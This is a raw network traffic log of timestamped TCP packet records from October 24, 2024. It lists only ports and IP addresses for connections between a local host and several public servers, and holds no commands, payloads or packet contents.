Oct 24, 2024 08:50:30.417129040 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:30.417167902 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:30.417799950 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:30.417938948 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:30.423060894 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:30.423202038 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:30.475986958 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.476093054 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.476154089 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.476187944 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.476206064 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.476238012 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.476632118 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.476689100 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.477124929 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.477190018 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.477202892 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.477263927 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.477524996 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.477576017 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.478111982 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.478171110 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.478173971 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.478193998 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.478220940 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.478241920 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.478600025 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.478667974 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.479134083 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.479187012 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.479362965 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.479422092 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.479439020 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.479492903 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.480341911 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.480398893 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.480408907 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.480432034 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.480458975 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.480477095 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.481205940 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.481266022 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.481281996 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.481333017 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.481935978 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.482006073 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.482013941 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.482031107 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.482059956 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.482076883 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.482655048 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.482707977 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.483113050 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.483164072 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.483181953 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.483237982 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.483252048 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.483300924 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.484051943 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.484117031 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.484117031 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.484133005 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.484163046 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.484184027 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.484194994 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.484249115 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.484559059 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.484842062 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.484899044 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.592891932 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.592958927 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.592989922 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.592991114 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.593020916 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.593050957 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.594116926 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.594158888 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.594191074 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.594208956 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.594219923 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.595360041 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.595383883 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.595426083 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.595431089 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.595458031 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.596267939 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.596286058 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.596344948 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.596359968 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.598974943 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.599006891 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.599045992 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.599066973 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.599078894 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.599797010 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.599813938 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.599884033 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.599889994 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.600655079 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.600678921 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.600713015 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.600717068 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.600744963 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.652024031 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.705996990 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:30.709834099 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.709860086 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.709950924 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.709975958 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.710026026 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.711225033 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.711244106 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.711309910 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.711338997 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.711385012 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.711735964 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.711752892 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.711810112 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.711817026 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.711857080 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.713640928 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.713656902 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.713712931 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.713726997 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.713752031 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.713764906 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.714416981 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.714442968 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.714519024 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.714533091 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.714575052 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.715476036 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.715502977 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.715574026 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.715586901 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.715610027 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.715626955 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.716242075 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.716270924 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.716342926 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.716352940 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.716394901 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.717119932 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.717138052 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.717200041 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.717210054 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.717252970 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.749596119 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:30.828073025 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.828138113 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.828212023 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.828234911 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.828267097 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.828282118 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.829217911 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.829288006 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.829308033 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.829319000 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.829345942 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.829363108 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.829663992 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.829706907 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.829734087 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.829742908 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.829771042 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.829787016 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.831166983 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.831206083 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.831245899 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.831257105 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.831279039 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.831300020 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.832670927 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.832721949 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.832756996 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.832767963 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.832791090 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.832806110 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.832890034 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.832930088 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.832958937 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.832963943 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.832992077 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.833009005 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.833779097 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.833823919 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.833861113 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.833873987 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.833898067 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.833914995 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.944350958 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.944392920 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.944523096 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.944545984 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.944597960 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.945205927 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.945233107 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.945369959 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.945379019 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.945422888 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.945677996 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.945719957 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.945749998 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.945755959 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.945796013 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.945822954 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.945864916 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.986778975 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.986809015 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:31.250732899 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.269575119 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.269623995 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.270854950 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.270948887 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.275635958 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.275800943 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.276005983 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.276024103 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.281896114 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.281943083 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.282012939 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.282241106 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.282257080 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.325131893 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.519045115 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.519078016 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.519154072 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:31.519223928 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.519253969 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.550493002 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:31.550527096 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.022695065 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:32.077930927 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:32.133338928 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.133630991 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.133646011 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.133985043 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.134460926 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.134509087 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.134618998 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.179327965 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.382863045 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.382956028 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.383060932 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.384953976 CEST	49771	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.384972095 CEST	443	49771	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.396136999 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.396184921 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:32.396271944 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.396512985 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:32.396524906 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.253298998 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.268464088 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:33.268507957 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.268893957 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.269202948 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:33.269259930 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.269340992 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:33.311350107 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.515223980 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.515310049 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:33.515464067 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:34.017910004 CEST	49772	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:34.017935991 CEST	443	49772	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:37.362368107 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:37.362433910 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:37.362577915 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:38.182466030 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:38.182539940 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:47.087426901 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:47.087467909 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:47.087559938 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:47.096474886 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:47.096496105 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:47.267555952 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:47.267591953 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:47.267733097 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:47.268207073 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:47.268223047 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.011921883 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.012031078 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.017311096 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.017322063 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.017534971 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.030930996 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.075333118 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.188500881 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.188792944 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.190583944 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.190614939 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.190877914 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.201775074 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.247333050 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.249310017 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.249372959 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.249417067 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.249572039 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.249572039 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.249593019 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.249644995 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.278192997 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.278254032 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.278472900 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.278472900 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.278491974 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.278539896 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.366592884 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.366621017 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.366847038 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.366868973 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.366925001 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.394069910 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.394146919 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.394210100 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.394226074 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.394273996 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.394294977 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.395714998 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.395771027 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.395811081 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.395817995 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.395849943 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.395870924 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.483289003 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.483330011 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.483617067 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.483652115 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.483705044 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.483848095 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.483870983 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.483913898 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.483921051 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.483952045 CEST	49781	443	192.168.2.4	13.107.246.60
